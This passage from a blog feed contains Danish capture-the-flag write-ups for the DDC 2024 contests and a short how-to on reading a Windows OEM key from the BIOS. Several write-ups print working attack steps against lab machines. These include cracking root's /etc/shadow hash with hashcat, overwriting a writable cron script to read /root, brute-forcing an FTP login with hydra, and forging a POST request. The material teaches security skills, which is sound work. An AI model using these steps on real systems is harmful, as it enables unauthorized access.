<p><strong>Løsning:</strong> Med lidt hjælp fra nogle gode øjne og <a href="https://www2.lunapic.com/editor/?action=swirl">lunapic.com</a> kan vi langsomt finde flaget. Jeg kan læse der står <code>you spin me round baby</code>, men det er ikke alt, vi skal lige skifte nogle bogstaver ud med tal. Lidt trial &amp; error senere får vi o-&gt;0, i-&gt;1, b-&gt;3, a-&gt;4, e-&gt;3. Kom nogle store bogstaver i hvert ord undtagen me og you, får vi <code>y0u-Sp1n-m3-R1gh1-R0und-34bY</code>.</p>
<p>Flag: <code>DDC{y0u-Sp1n-m3-R1gh1-R0und-34bY}</code></p>
<hr>
<h3 id="web-exploitation-critical-hit">Web Exploitation: Critical Hit</h3>
<p><strong>Proposed difficulty: Very Easy</strong></p>
<p>Din gruppe er meget tæt på at dræbe den sidste boss, men din eneste chance for at lykkes er, hvis Jane slår en 20&rsquo;er. Hun kan prøve så mange gange, hun vil, men på en eller anden måde virker det umuligt at få en 20&rsquo;er. Kan du hjælpe hende med at vinde spillet?</p>
<p><a href="http://roll-dice.hkn">http://roll-dice.hkn</a> (haaukins link)</p>
<p><strong>Løsning:</strong> Når vi slår med terningen laver vi en post request, men scriptet til terningen sker i vores browser så vi kan bare sige til serveren at vi slog en 20&rsquo;er. Respons: <code>{&quot;message&quot;:&quot;Congrats, you slayed the monster! DDC{U_slaAy_gUrl}&quot;}</code></p>
<p>Flag: <code>DDC{U_slaAy_gUrl}</code></p>
<hr>
<h3 id="misc-penpals-and-messages">Misc: Penpals and messages</h3>
<p><strong>Proposed difficulty: Very Easy</strong></p>
<p>Din online penneven Cæsar_4 og dig plejer at udveksle forskellige former for krypterede beskeder. Denne gang modtager du en billedfil fra din penneven. Normalt plejer det  at være beskeder du modtager og ikke billedfiler.</p>
<p>Du erindrer dog at der er metoder for at skjule beskeder i JPG format og der findes redskaber på nettet der kan hjælpe med at finde dem. Måske kan din ven Alan Eliasens hjemmeside hjælpe dig med at finde den skjulte besked</p>
<p>OBS: Flaget er teksten du finder med DDC{} tilføjet omkring. Finder du this_1s_fl4g er flaget DDC{this_1s_fl4g}</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/misc/penpals.jpg">penpals.jpg</a></p>
<p><strong>Løsning:</strong> Vi kan bruge stegseek til at se om der ikke skulle være noget gemt i billedet, <code>stegseek penpals.jpg</code> - Output: <code>Original filename: &quot;steganopayload31570.txt&quot;. Extracting to &quot;penpals.jpg.out&quot;.</code>. penpals.jpg.out: <code>Aipp_hsri_mr_mh_mx</code>, Cæsar 4 lyder som om at vi skal shifte bogstaverne 4 gange, <a href="https://www.dcode.fr/caesar-cipher">dcode.fr/caesar-cipher</a> -&gt; <code>Well_done_in_id_it</code></p>
<p>Flag: <code>DDC{Well_done_in_id_it}</code></p>
<hr>
<h3 id="misc-find-the-culprit">Misc: Find the Culprit</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p>Nogen i dit firma har formået at overflytte en masse penge til dem selv og prøver at stikke af med dem. Det er din opgave som som leder af firmaets Cybersecurity afdeling at finde frem til hvem det var og stoppe dem. Du har en idé om at personen er fra enten Finance, Marketing eller HR afdeling, men hvilken? En af dine medarbejdere fandt en mystisk note på HR afdelingens kontor. Dele af noten er tydeligt krypteret. Mønsteret minder lidt om layoutet på et keyboard. Knæk koden og find frem til hvem der har stjålet pengene! På noten står der således:</p>
<p>“Beløb til overførsel: 100.000.000dkk. Modtager: EYG_Ziokznygxk“</p>
<p>Format for aflevering eksempel: DDC{Adeling_Navn_Kontonummer} | DDC{Cybersecurity_Karsten_Johansen_1234}</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/misc/misc_find_the_culprit.zip">Ansatte.zip</a></p>
<p><strong>Løsning:</strong> Sikkert en smartere løsning men jeg lavede et bash script der tog hash værdien af alle Info.txt og compared dem og smed ud de filer der ikke var ens. Jeg ved ikke helt hvordan jeg skulle dekryptere <code>EYG_Ziokznygxk</code> så jeg smed bare alle navnene ind og det var så Employee (34) fra Finance, det var nemlig Karl Emil!</p>
<p>Flag: <code>DDC{Finance_Karl_Emil_1928}</code></p>
<hr>
<h3 id="beginner-the_ransomware_image">Beginner: The_Ransomware_Image</h3>
<p><strong>Category: Forensics</strong></p>
<p>En amatørhackergruppe har ramt din computer med ransomware! Du efterlod den på en café og glemte at låse skærmen, og da du kom tilbage sad en sketchy person ved den, der skyndte sig væk!</p>
<p>Nu er din computer krypteret, og de kræver en løsesum for at udlevere passwordet! Heldigvis glemte gerningsmanden sin USB i din maskine. Du fandt ikke med det samme noget spændende, men lavede et forensic E01-image, der kan undersøges i dybden. Måske der gemmer sig spændende slettede filer?</p>
<p><em>Hint: Værktøjet <a href="https://www.autopsy.com/download/">Autopsy</a> er gratis og super fint til diskanalyse.</em></p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/beginner/USB.E01">USB.E01</a></p>
<p>Løsning: Åben USB.E01 i Autopsy, her finder vi <code>Reminder.txt</code> og <code>logo.bmp</code>. I Reminder.txt står der at vi ikke skal bruge vores gamle logo fordi det var vores adgangskode, hmm. Lad og lige se på <a href="/ddc_regionals2024/beginner/logo.bmp">logo.bmp</a>. Aha! <code>CYBER_PIRATES</code>!</p>
<p>Flag: <code>DDC{CYBER_PIRATES}</code></p>
<hr>
<h3 id="beginner-see-my-strings">Beginner: See my strings</h3>
<p><strong>Category: Reverse Engineering</strong></p>
<p>Gå til <a href="http://see-my-strings.hkn">http://see-my-strings.hkn</a> i dit virtuelle miljø!</p>
<p><strong>Løsning:</strong> På hjemmesiden får vi download til en zip fil med <code>program</code> i. Hjemmesiden siger vi kan køre strings på <code>program</code>, og fordi flaget står som tekst i programmet kan vi let se det.</p>
<p>Flag: <code>DDC{57r1n6-r3v3r51n6-1s-3a5y}</code></p>
<hr>
<h3 id="reverse-engineering-ascii_maze">Reverse Engineering: ASCII_Maze</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p>OMG! KUN 0.01% KAN GENNEMFØRE DET 4. LEVEL #IKKECLICKBAIT</p>
<p><code>nc asciimaze.hkn 1337</code></p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/rev/reveng_asciimaze.zip">reveng_asciimaze.zip</a></p>
<p><strong>Løsning:</strong> Ved unzip af zip-filen finder vi <code>ASCII_Maze</code>, hvis vi åbner den i <a href="https://dogbolt.org/">Dogbolt - Decompiler Explorer</a>, kan vi se at der er nogle levels: 1,2,3 og 4. Jeg spillede spillet for level 1,2,3 og brugte kommandoen <code>godmode</code> til level 4. Password til <code>godmode</code> finder vi i dogbolt (angr -&gt; linje 484), som er: <code>i_believe_i_can_fly</code> så kan vi bryde ud af level 4 og få flag.</p>
<p>Flag: <code>DDC{Flyv_Ikaros_Flyv}</code></p>
<hr>
<h3 id="cryptography-substitution-in-the-constitution">Cryptography: Substitution in the constitution</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p>Jeg krypterede dele af den danske grundlov med en substitutionsciffer.</p>
<p>Kan du bruge den krypterede forfatning til at finde nøglen og dekryptere flaget?</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/crypto/crypto-constitution.zip">crypto-constitution.zip</a></p>
<p><strong>Løsning:</strong> Til den her opgave brugte jeg <a href="https://quipqiup.com/">quipqiup.com</a> til at løse substitutionscifferen. Vi får af vide at det er dele af grundloven, et lille smut over til <a href="http://www.grundloven.dk/">www.grundloven.dk</a>, her kunne jeg matche <code>27. marts 1953</code> med <code>27. pnlse 1953</code>. I Clues feltet kan vi skrive: <code>sljfwuhgxhjqxf=tronfølgeloven</code>. Nu får vi <code>YYU{vi_mennesåer_i_åongeriget_danmarå}</code> som flag, erstat å med k og YYU med DDC, så får vi: <code>DDC{vi_mennesker_i_kongeriget_danmark}</code></p>
<p>Flag: <code>DDC{vi_mennesker_i_kongeriget_danmark}</code></p>
<hr>
<h3 id="boot2root-shadow">Boot2Root: Shadow</h3>
<p><strong>Proposed difficulty: Very Easy</strong></p>
<p>Jeg har lavet en ssh server sådan at jeg kan dele den med alle! Det er bare så super hyggeligt at dele. Men i må altså gerne lige lade være med at rode rundt. Jeg er ikke helt sikker på at jeg har styr på alle tilladelser endnu.</p>
<p>bug kommandoen <code>ssh user1@shadow.hkn</code> for at komme igang. Koden er <code>start</code>.</p>
<p><strong>Løsning:</strong> Navnet på challangen giver det lidt væk, men vi skal have fat i <code>/etc/shadow</code>. Vi kan bruge hashcat til at cracke root&rsquo;s passwd. Kom root&rsquo;s passwd hash i hash.txt og kør: <code>hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt</code>. Hashcat siger roots passwd er <code>conga</code>, kør en su root med conga som password. Du finder flaget i /home/root/flag.txt</p>
<p>Flag: <code>DDC{Prot3ct_y0ur_s3cr3ts}</code></p>
<hr>
<h3 id="boot2root-cron-my-tab">Boot2Root: Cron my tab</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p><code>ssh doomguy@crontab.hkn</code></p>
<p>Password: <code>doomguysEcReTpAsSwOrD</code></p>
<p><code>tail -f read.sh.log</code></p>
<p><strong>Løsning:</strong> Når vi logger på boksen får vi afvide at der er et cronjob der kører hvert minut med dette script: <code>/etc/read.sh</code>. Hvis vi kigger på file permissions kan vi se at vi må ikke læse &amp; execute read.sh, men vi må gerne skrive til den. Så her kan vi bruge echo fordi der er ikke nano eller vim på maskinen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s1">&#39;#/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="s1">ls /root&#39;</span> &gt; /etc/read.sh
</span></span></code></pre></div><p>Respons: <code>cdff.......flag.txt &amp; hehe.txt</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s1">&#39;#/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="s1">cat /root/cdff.......flag.txt&#39;</span> &gt; /etc/read.sh
</span></span></code></pre></div><p>Respons: <code>DDC{v3ry-funny-cr0n-j0b}</code></p>
<p>Flag: <code>DDC{v3ry-funny-cr0n-j0b}</code></p>
]]></content></item><item><title>Extract your Windows OEM key from BIOS using Linux</title><link>https://ha1fdan.xyz/en/posts/retrive_win_oem_key/</link><pubDate>Sun, 17 Mar 2024 14:23:38 +0100</pubDate><guid>https://ha1fdan.xyz/en/posts/retrive_win_oem_key/</guid><description>&lt;p&gt;If you&amp;rsquo;re on Linux and need to find your Windows product key stored in the BIOS, follow these straightforward steps.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Linux system with sudo access&lt;/li&gt;
&lt;li&gt;Internet connection (optional, for installation)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="step-1-install-required-package"&gt;Step 1: Install Required Package&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sudo apt-get install chntpw&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="step-3-locate-windows-product-key"&gt;Step 3: Locate Windows Product Key&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;strings /sys/firmware/acpi/tables/MSDM | tail -1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Example return: &lt;code&gt;4AC4P-*****-*****-G6G8Q-*****&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you receive an error message like &lt;code&gt;strings: '/sys/firmware/acpi/tables/MSDM': No such file&lt;/code&gt;, it means no OEM key was found in your BIOS.&lt;/p&gt;</description><content type="html"><![CDATA[<p>If you&rsquo;re on Linux and need to find your Windows product key stored in the BIOS, follow these straightforward steps.</p>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>Linux system with sudo access</li>
<li>Internet connection (optional, for installation)</li>
</ul>
<h2 id="step-1-install-required-package">Step 1: Install Required Package</h2>
<p><code>sudo apt-get install chntpw</code></p>
<h2 id="step-3-locate-windows-product-key">Step 3: Locate Windows Product Key</h2>
<p><code>strings /sys/firmware/acpi/tables/MSDM | tail -1</code></p>
<p>Example return: <code>4AC4P-*****-*****-G6G8Q-*****</code></p>
<p>If you receive an error message like <code>strings: '/sys/firmware/acpi/tables/MSDM': No such file</code>, it means no OEM key was found in your BIOS.</p>
<hr>
<p>If a key is displayed, note it down for future use. Otherwise, proceed knowing that no key was found.</p>
<p>That&rsquo;s it! You&rsquo;ve successfully retrieved your Windows OEM key from BIOS using Linux. Keep your key safe for any future Windows installations or activations.</p>
]]></content></item><item><title>DDC - Qualifiers Junior 2024 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2024/</link><pubDate>Sun, 25 Feb 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2024/</guid><description>&lt;h2 id="scoreboard"&gt;Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/images/ddc2024_scoreboard.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jeg fik løst ~62% af alle opgaverne.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="opgaver-løst"&gt;Opgaver løst:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cryptography: They see me subbin, they hating&lt;/li&gt;
&lt;li&gt;Cryptography: Affinity&lt;/li&gt;
&lt;li&gt;Cryptography: Cracking the randomness&lt;/li&gt;
&lt;li&gt;Forensics: Duck Hans&lt;/li&gt;
&lt;li&gt;Forensics: CTF platformen&lt;/li&gt;
&lt;li&gt;Forensics: Spionjagt&lt;/li&gt;
&lt;li&gt;Forensics: Flag Transfer Protocol&lt;/li&gt;
&lt;li&gt;Reverse Engineering: Too much fun with rexep 101&lt;/li&gt;
&lt;li&gt;Reverse Engineering: I C what you did there&lt;/li&gt;
&lt;li&gt;Web Exploitation: Awesome Javascript&lt;/li&gt;
&lt;li&gt;Web Exploitation: we-need-more-crypto&lt;/li&gt;
&lt;li&gt;Binary Exploitation: File overflow&lt;/li&gt;
&lt;li&gt;Binary Exploitation: Hangry CPU&lt;/li&gt;
&lt;li&gt;Misc: A Tale of Encodings&lt;/li&gt;
&lt;li&gt;Misc: Digit Distorter&lt;/li&gt;
&lt;li&gt;Boot2Root: Campfire Stories&lt;/li&gt;
&lt;li&gt;What er der flere challenges?: What er der flere challenges? &lt;del&gt;Flag:&lt;/del&gt; &lt;code&gt;Via mail :))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="opgaver-ikke-løst"&gt;Opgaver ikke løst:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cryptography: poLy1305CG&lt;/li&gt;
&lt;li&gt;Forensics: Dino den Grusomme&lt;/li&gt;
&lt;li&gt;Forensics: Irriterende Kollegaer&lt;/li&gt;
&lt;li&gt;Reverse Engineering: so-much-reversing&lt;/li&gt;
&lt;li&gt;Web Exploitation: im-blogging-you&lt;/li&gt;
&lt;li&gt;Web Exploitation: kd-website&lt;/li&gt;
&lt;li&gt;Web Exploitation: ddc-webshop&lt;/li&gt;
&lt;li&gt;Binary Exploitation: Flag checker&lt;/li&gt;
&lt;li&gt;Binary Exploitation: vroom&lt;/li&gt;
&lt;li&gt;Boot2Root: Hack Swag shop&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="cryptography-they-see-me-subbin-they-hating"&gt;Cryptography: They see me subbin, they hating&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Proposed difficulty: Easy&lt;/em&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="scoreboard">Scoreboard:</h2>
<p><img src="/images/ddc2024_scoreboard.png" alt="ddc2024_scoreboard.png"></p>
<p><strong>Jeg fik løst ~62% af alle opgaverne.</strong></p>
<h2 id="opgaver-løst">Opgaver løst:</h2>
<ul>
<li>Cryptography: They see me subbin, they hating</li>
<li>Cryptography: Affinity</li>
<li>Cryptography: Cracking the randomness</li>
<li>Forensics: Duck Hans</li>
<li>Forensics: CTF platformen</li>
<li>Forensics: Spionjagt</li>
<li>Forensics: Flag Transfer Protocol</li>
<li>Reverse Engineering: Too much fun with rexep 101</li>
<li>Reverse Engineering: I C what you did there</li>
<li>Web Exploitation: Awesome Javascript</li>
<li>Web Exploitation: we-need-more-crypto</li>
<li>Binary Exploitation: File overflow</li>
<li>Binary Exploitation: Hangry CPU</li>
<li>Misc: A Tale of Encodings</li>
<li>Misc: Digit Distorter</li>
<li>Boot2Root: Campfire Stories</li>
<li>What er der flere challenges?: What er der flere challenges? <del>Flag:</del> <code>Via mail :))</code></li>
</ul>
<h2 id="opgaver-ikke-løst">Opgaver ikke løst:</h2>
<ul>
<li>Cryptography: poLy1305CG</li>
<li>Forensics: Dino den Grusomme</li>
<li>Forensics: Irriterende Kollegaer</li>
<li>Reverse Engineering: so-much-reversing</li>
<li>Web Exploitation: im-blogging-you</li>
<li>Web Exploitation: kd-website</li>
<li>Web Exploitation: ddc-webshop</li>
<li>Binary Exploitation: Flag checker</li>
<li>Binary Exploitation: vroom</li>
<li>Boot2Root: Hack Swag shop</li>
</ul>
<hr>
<h3 id="cryptography-they-see-me-subbin-they-hating">Cryptography: They see me subbin, they hating</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Jeg krypterede en masse tilfældige engelske ord med en substitutions-chiffer.
Kan du arbejde med nøglen og dekryptere flaget?</p>
<p>Challengen handler om at kigge på fordeling af bogstaver, som kan være lidt irriterende at implementere selv. Men husk der eksistere en del tooling på internettet i forvejen, så hvis i sidder fast prøve at google lidt omkring tooling til substitution ciphers!</p>
<p>Vedhæftet fil: <a href="/ddc2024/crypto/ciphertext.txt">ciphertext.txt</a></p>
<p><strong>Løsning:</strong> Bruger Substitution cipher decoder fra <a href="https://www.dcode.fr/caesar-cipher">dcode.fr/caesar-cipher</a>.</p>
<p>Flag: <code>DDC{WELCOME_TO_DDC_TWENTY_TWENTY_FOUR_LETS_DO_SOME_CRYPTO}</code></p>
<hr>
<h3 id="cryptography-affinity">Cryptography: Affinity</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>Et affine cipher krypterer en klartekst x til chiffertekst y ved at beregne <code>y = (ax + b) mod m</code>.
Jeg har designet denne sikre krypteringsmekanisme ved hjælp af et affine cipher. Kan du bryde den?</p>
<p>Vedhæftet fil: <a href="/ddc2024/crypto/affinity.zip">affinity.zip</a></p>
<p><strong>Løsning:</strong> <a href="/ddc2024/crypto/find_a_b.py">find_a_b.py</a> - Jeg løb gennem alle mulige værdier af a og b for at finde matchet &ldquo;0xe9e962ea&rdquo; for tekststrengen &lsquo;DDC{&rsquo; hvor m = 256. Løsningen var a = 135, b = 13. Derefter brugte jeg disse værdier til at dekryptere det krypterede resultat fra output.txt via <a href="/ddc2024/crypto/decrypt_with_a_b.py">decrypt_with_a_b.py</a>.</p>
<p>Flag: <code>DDC{cryptography_needs_nonlinearity}</code></p>
<hr>
<h3 id="cryptography-cracking-the-randomness">Cryptography: Cracking the randomness</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>Tilfældige tal bruges hele tiden! Men hvor tilfældige er de egentlig?</p>
<p>Til denne udfordring kan det være en fordel at søge rundt efter information og værktøjer til at angribe pythons random funktion!</p>
<p>Vedhæftet fil: <a href="/ddc2024/crypto/challenge.zip">challenge.zip</a></p>
<p><strong>Løsning:</strong> Vi bruger dette fede lib fra <a href="https://pypi.org/project/extend-mt19937-predictor/">pypi.org/project/extend-mt19937-predictor</a>, scripter: <a href="/ddc2024/crypto/randomness.py">randomness.py</a> og sætter predictor i samme state som da tallene blev genereret 624 gange. Så kan vi få flag.</p>
<p>Flag: <code>DDC{Not_so_random_anymore_mr_randcrack}</code></p>
<hr>
<h3 id="forensics-duck-hans">Forensics: Duck Hans</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Mens du var på ferie, så blev din favorit and Hans befriet af en anden frihedskæmpene and. Hans blev domesticeret tidligt i sit liv, så du ved at han ikke vil kunne overleve i naturen og er nødt til at få ham tilbage så hurtigt som muligt. Heldigvis lavede den frihedskæmpene and en fejl ved at efterlade dig en note og et billede af stedet hvor Hans blev sat fri. Derudover, så har dit gamle overvågningskamera opfanget noget, men det stoppede med at virke i et minuts tid omkring det tidspunkt hvor den frihedskæmpene and slog til. Du har nu fået fat på netværkets logfiler som er relateret til dit overvågningskamera og du mistænker at det har været udsat for et DDoS(1) angreb.</p>
<p>Kan du finde navnet og IP addressen på den frihedskæmpene and, samt søen hvor Hans blev sat fri?</p>
<p>Aflever flaget i følgende format: DDC{FornavnEfternavn_Sø_IPaddresse}</p>
<p>Fx: DDC{DonnieDuck_Tystrup_000.000.000.00}</p>
<p>Bemærk at det kun er den første del af søens navn som skal afleveres i formatet: “Tystrup” i stedet for “Tystrup Sø”</p>
<p>(1) DDoS: I den her sag er det ikke et Distributed Denial of Service angreb men et Ducking Denial of Service angreb. Forskellen her er at angrebet måske ikke er fuldstændigt distribueret (“Distributed”).</p>
<p>Vedhæftet fil: <a href="/ddc2024/forensics/duck-hans.zip">duck-hans.zip</a></p>
<p><strong>Løsning:</strong> I <code>Network Log.txt</code> kan vi se at ipen: <code>93.184.216.34</code> bliver logget 12 gange som den eneste med sådan et højt tal. Ved at åbne properties på <code>WARNING!1!1!!!1.pdf</code> kan vi se at Creator er <code>quarl.quackington@mail.dk</code>: <img src="/images/duck-hans_warning.pdf.screenshot.png" alt="warning.pdf.screenshot.png"> Det kunne jo være at <code>Hans_Is_Free.jpg</code> havde noget exif data, <a href="https://exifmeta.com/">exifmeta.com</a> kan vise os det under: Composite:GPSPosition. Kordinaterne viser <code>Damhussøen</code>.</p>
<p>Flag: <code>DDC{QuarlQuackington_Damhus_93.184.216.34}</code></p>
<hr>
<h3 id="forensics-ctf-platformen">Forensics: CTF platformen</h3>
<p><em>Proposed difficulty: Very Easy</em></p>
<p>Jeg har fundet nogle underlige logs fra en CTF platform der har været med til BlackHat Europe. Det ser dog ud til, at den skriver nogle af flagene ud i loggen. Kan du finde et til denne opgave?</p>
<p>Vedhæftet fil: <a href="/ddc2024/forensics/hknd.log">hknd.log</a></p>
<p><strong>Løsning:</strong> Ved at bruge CTRL+F til at søge i filen efter &ldquo;DDC{&rdquo; finder vi flaget på Ln 143 og Col 196.</p>
<p>Flag: <code>DDC{CTRL+F-can-be-used-for-flags}</code></p>
<hr>
<h3 id="forensics-spionjagt">Forensics: Spionjagt</h3>
<p><em>Proposed difficulty: Very Easy</em></p>
<p>Velkommen til &ldquo;Spionjagt&rdquo;! Din mission er at afsløre en spion, der har infiltreret et dansk CTF-hold og stjålet følsomme data. Se om du kan identificere de stjålne oplysninger ved at kigge i netværks trafikken.</p>
<p>Vedhæftet fil: <a href="/ddc2024/forensics/spionjagt.pcap">spionjagt.pcap</a></p>
<p><strong>Løsning:</strong> Åben spionjagt.pcap i Wireshark og soter efter protocol: FTP-DATA, kan vi se en fil ved navn &ldquo;secretreview.txt&rdquo;, åben dataen og brug ctrl+f til at søge efter DDC{, så får vi flag.</p>
<p><strong>Løsning 2:</strong> <code>strings spionjagt.pcap | grep &quot;DDC{&quot;</code>, passer meget godt til Very Easy :)</p>
<p>Flag: <code>DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}</code></p>
<hr>
<h3 id="forensics-flag-transfer-protocol">Forensics: Flag Transfer Protocol</h3>
<p><em>Proposed difficulty: Very Easy</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=flagtransferprotocol">https://api.haaukins.com/api/?challenges=flagtransferprotocol</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>Er der mon en &ldquo;admin&rdquo; der har en port åben for at overføre filer? Og har han mon tænkt over at John lurer i skyggerne?</p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">$ ip a - find dit subnet
</span></span><span class="line"><span class="cl">$ nmap -sV -F 77.93.229.4/24
</span></span><span class="line"><span class="cl">$ cp /usr/share/wordlists/john.lst .
</span></span><span class="line"><span class="cl">$ hydra -l admin -P john.lst ftp://77.93.229.111 -s 21
</span></span><span class="line"><span class="cl">[21][ftp] host: 77.93.229.111   login: admin   password: phantom
</span></span><span class="line"><span class="cl">1 of 1 target successfully completed, 1 valid password found
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ ftp admin@77.93.229.111
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Connected to 77.93.229.111.
</span></span><span class="line"><span class="cl">220 pyftpdlib 1.5.9 ready.
</span></span><span class="line"><span class="cl">331 Username ok, send password.
</span></span><span class="line"><span class="cl">Password: 
</span></span><span class="line"><span class="cl">230 Login successful.
</span></span><span class="line"><span class="cl">Remote system type is UNIX.
</span></span><span class="line"><span class="cl">Using binary mode to transfer files.
</span></span><span class="line"><span class="cl">ftp&gt; ls
</span></span><span class="line"><span class="cl">229 Entering extended passive mode (|||21009|).
</span></span><span class="line"><span class="cl">125 Data connection already open. Transfer starting.
</span></span><span class="line"><span class="cl">-rw-rw-rw-   1 root     root       221251 Feb 19 13:06 flag.jpg
</span></span><span class="line"><span class="cl">-rw-rw-rw-   1 root     root       111879 Feb 19 13:06 flag.png
</span></span><span class="line"><span class="cl">-rw-rw-rw-   1 root     root           34 Feb 19 13:06 flag.txt
</span></span><span class="line"><span class="cl">226 Transfer complete.
</span></span><span class="line"><span class="cl">ftp&gt; get flag.txt -
</span></span><span class="line"><span class="cl">remote: flag.txt
</span></span><span class="line"><span class="cl">229 Entering extended passive mode (|||21014|).
</span></span><span class="line"><span class="cl">125 Data connection already open. Transfer starting.
</span></span><span class="line"><span class="cl">DDC{Keeping-track-of-all-my-flags}226 Transfer complete.
</span></span><span class="line"><span class="cl">34 bytes received in 00:00 (125.29 KiB/s)
</span></span><span class="line"><span class="cl">ftp&gt; bye
</span></span><span class="line"><span class="cl">221 Goodbye.
</span></span></code></pre></div><p>Flag: <code>DDC{Keeping-track-of-all-my-flags}</code></p>
<hr>
<h3 id="reverse-engineering-too-much-fun-with-rexep-101">Reverse Engineering: Too much fun with rexep 101</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>I&rsquo;m having fun with regular expressions. Here I played a bit with features like capture groups, lookahead and look behind.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$)(?=^([^5]*)$)(?=DDC\{)(?=.*4LLY)(?=.*C4)(?=.{4}(?&lt;RE&gt;..).{13}(?:\k&lt;RE&gt;))(?=.*P\d)(?=^.{4}[23GPRX]{7}-)(?=^([^3]*3){4}[^3]*$)(?=^.{5}(?&lt;D&gt;\d).{1}(?:\k&lt;D&gt;).{9}(?:\k&lt;D&gt;).{2}(?:\k&lt;D&gt;))(?=.*-(?!=4)([4CN]{3})(?&lt;!\d)-)(?=^[^\-]{11}(?&lt;=2)-[^\-]{3}(?&lt;=N)-83-[34LRY]{6}-FUN)(?=.+R.G.X)(?=.*(?&lt;=N)}$)(?=.*(?&lt;=R)3){2}(?=.*(-..N)){2}^.{30}$/gm
</span></span></code></pre></div><p>Can you find a string that matches?</p>
<p><strong>Løsning:</strong> Vi deler den lange regex streng op i flere små dele og bruger hjemmesiden <a href="https://regex101.com/">regex101.com</a> til at hjælpe os med at finde de rigtige chars for at udtrykket er validt. Meget tidskrævende!</p>
<p>Flag: <code>DDC{R3G3XP2-C4N-83-R34LLY-FUN}</code></p>
<hr>
<h3 id="reverse-engineering-i-c-what-you-did-there">Reverse Engineering: I C what you did there</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=icwhatyoudidthere">https://api.haaukins.com/api/?challenges=icwhatyoudidthere</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>En eller anden går rundt og vil spille det der spil med kopper hvor man skal gætte hvor bolden er henne. Der er dog ingen der har besejret ham endnu. Kan du vinde spillet?</p>
<p>Du kan begynde spillet at ved bruge kommandoen &ldquo;nc shuffler.hkn 1337&rdquo;</p>
<p>Vedhæftet fil: <a href="/ddc2024/rev/shuffleGame.zip">source</a></p>
<p><strong>Løsning:</strong> Vi kan bruge en decompiler ex. Ghidra til at finde hex værdier til vores input streng. Hvis vi læser bag fra kan vi se der står TheCupsGoRo&hellip;&hellip;.ndInCircles, de 7 punktummer er noget der ikke passer på resten men hvis vi erstatter dem med 1234567 kan vi få programmet til at vise os hvad der skal stå der og i hvilken rækkefølge. Se nedenfor for fremgangsmåde.</p>
<p>selcriCnIdn1234567oRoGspuCehT</p>
<p>TheCupsGoRound&amp;RoundInCircles</p>
<p>selcriCnIdnuund&amp;RooRoGspuCehT</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1234567oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRo2345671ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1u34567oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRou345671ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
